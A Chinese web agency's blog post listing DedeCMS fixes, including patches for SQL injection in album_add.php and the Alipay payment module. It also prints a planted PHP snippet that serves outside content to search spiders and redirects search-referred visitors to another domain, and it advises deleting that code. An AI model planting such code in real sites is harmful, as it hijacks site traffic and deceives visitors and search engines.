织梦(dedecms)网站安全常见故障问题解决方案
发布日期:2019年08月21日,网站分类:网站新闻
给DEDECMS客户改版时遇到的一些问题,不能保证完全解决,但是基本可以处理织梦常见故障,融网提示:请勿使用什么商业破解版,请使用正版程序!
如果遇到织梦其他问题无法解决,请联系融网售后服务,说明来意可通过,我们免费为您提供故障问题解决方案!
dede模块管理空白或没有列表内容的解决办法 :
模块管理完全空白解决:
下载个和你网站相同版本的DEDE程序,然后找到include/dedemodule.class.php,把这个文件上传到你的网站目录下(相同路径),系统会询问要不要提示覆盖,按确定就好了。其实这也算是织梦的一个BUG吧。模块管理再也不是空白了。
模块管理没有内容解决:
把之前有内容的/data/module/moduleurllist.txt文件拷贝到新空间上/data/module/下就OK了
PHP5.3提示Please set 'request_order' ini value to include C,G and P (recommended: 'CGP') in php.ini解决方案:
部分使用PHP 5.3的主机可能会有下面的提示:
(PHP 5.3 and above) Please set 'request_order' ini value to include C,G and P (recommended: 'CGP') in php.ini
由于在PHP最新的版本中增加了一个配置项目“request_order”,默认值为“GP”,这个存在一定的安全风险。这里我们建议用户将配置更改为“CGP”,可以在phpinfo中查看对应的php.ini配置目录,找到下面选项:
request_order = "GP" 更改为: request_order = "CGP"
重启服务器,解决!
dede安装出现时提示dir错误:
开该install文件夹,删除两个文件已经修改两个文件。删除install_lock.txt、index.html,修改index.php.bak、module-install.php.bak将其后缀.bak去掉即可。
防范百度快照劫持注入代码:
织梦百度快照劫持注入代码防范及清除,很多站长做站的过程中,都碰过百度快照被劫持等问题,明明已经修复模板文件了,还是没有更新回正常的快照,以织梦系统为例,
往往根目录/index.php也被植入恶意代码
代码如下:
<?php if(strpos($_SERVER['HTTP_USER_AGENT'],"spider")||strpos($_SERVER["HTTP_USER_AGENT"],"google")>-1){ $str=file_get_contents("http://域名.com/");echo $str; } $domain=array('baidu','so'); $fromurl=@strtolower($_SERVER['HTTP_REFERER']); foreach ($domain as $v) { if (strpos($fromurl,$v)!==false) { $target="http://域名.com/index.html"; header("Location:".$target); exit; }} ?>
单这段代码就直接把搜索引擎蜘蛛搞晕,带到别的恶意网址去。
把其删掉,如果在index.php里没找到,但还是存在类似的问题,可以用notepad++全站搜索下。
album_add.php文件SQL注入漏洞修复方法:
阿里云ECS 安骑士提示织梦DEDECMS /member/album_add.php文件中,对输入参数mtypesid未进行int整型转义,导致SQL注入的发生。
修复方法:
打开dedecms/member/album_add.php文件,查找以下代码(大约220行左右)
$description = HtmlReplace($description, -1);
将上面的代码替换为:
$description = HtmlReplace($description, -1); $mtypesid = intval($mtypesid);
QQ一键登录插件返回空白解决方法:
修改织梦网站时,遇到个QQ一键登录返回是空白的问题,找了好久没发现什么原因,最后才知道原因在于服务器,因为腾讯OAuth2.0采用的是https协议进行数据请求,QQ一键登录插件采用curl拓展对数据进行抓取,有些站长并未开启curl拓展,所以导致返回空白的状况。
解决方案:
找到php.ini文件找到
;extension=php_curl.dl ;extension=php_openssl.dll
将“;”删除,重启服务器,完美解决。
解决dedecms5.7不能采集分页的解决办法:
程序默认不会采集分页,也就是采集的时候只会采集到指定url的第一页的修改方法。现在好啦,通过不懈的努力,终于找到了解决办法。
解决方案:
打开文件\include\dedecollection.class.php,1116行左右有这么一条代码:
if($status = TRUE || $urlnum >= $mytotal) break;
直接注释掉或删掉就可以了,如果没有找到 ,可以使用查找功能 查找这段代码,问题出现在dedecms5.7的一个小bug,大家可以再自由发挥下,更多方法还是要靠自己去发掘的。
解决织梦dedecms升级出现 Unknown column 'dutyadmin' in 'field list'的问题:
今天有位朋友加我QQ,说他升级到5.5之后出现问题,添加文章的时候出现:Unknown column 'dutyadmin' in 'field list',经检查发现,可能是下错升级包了。
解决方案:
系统>>SQL命令行工具>>运行SQL命令行
ALTER TABLE `dede_archives` ADD `dutyadmin` MEDIUMINT( 8 ) UNSIGNED DEFAULT '0' NOT NULL; ALTER TABLE `dede_archives` ADD `tackid` INT( 10 ) DEFAULT '0' NOT NULL ;
运行后,问题解决。
解决channel标签currentstyle样式无效不起作用的错误方法:
用织梦系统制作网站时,经常会用到channel标签来调子栏目。但是,很多朋友会遇到这种情况在使用channel标签来调子栏目的时候,指定 “type=son typeid=x” 发现currentstyle无效。
解决方案:
修改include/taglib/channel.lib.php
if( ($row['id']==$typeid || ($topid==$row['id'] && $type=='top') ) && $currentstyle!='' )
修改为
if( ( $row['id']== $refObj->TypeLink->TypeInfos['id'] || ($topid==$row['id'] && $type=='top') ) && $currentstyle!='' )
经测试这种调用方式currentstyle有效,可以解决解决channel标签currentstyle样式无效不起作用的问题。
织梦dedecms支付模块漏洞解决方法:
织梦dedecms的支付模块存在注入漏洞,导致mysql可注入。需要修复/include/payment/alipay.php文件解决。
解决方案:
打开/include/payment目录下的alipay.php文件,找到以下代码
$order_sn = trim($_GET['out_trade_no']);
修改为
$order_sn = trim(addslashes($_GET['out_trade_no']));
目前提示支付模块mysql注入的服务商有腾讯云和阿里云,感谢他们为网站安全做出的贡献。
转载请注明来自:https://www.kufan.cn/news/146.html
上一篇:微信小程序账号注销流程步骤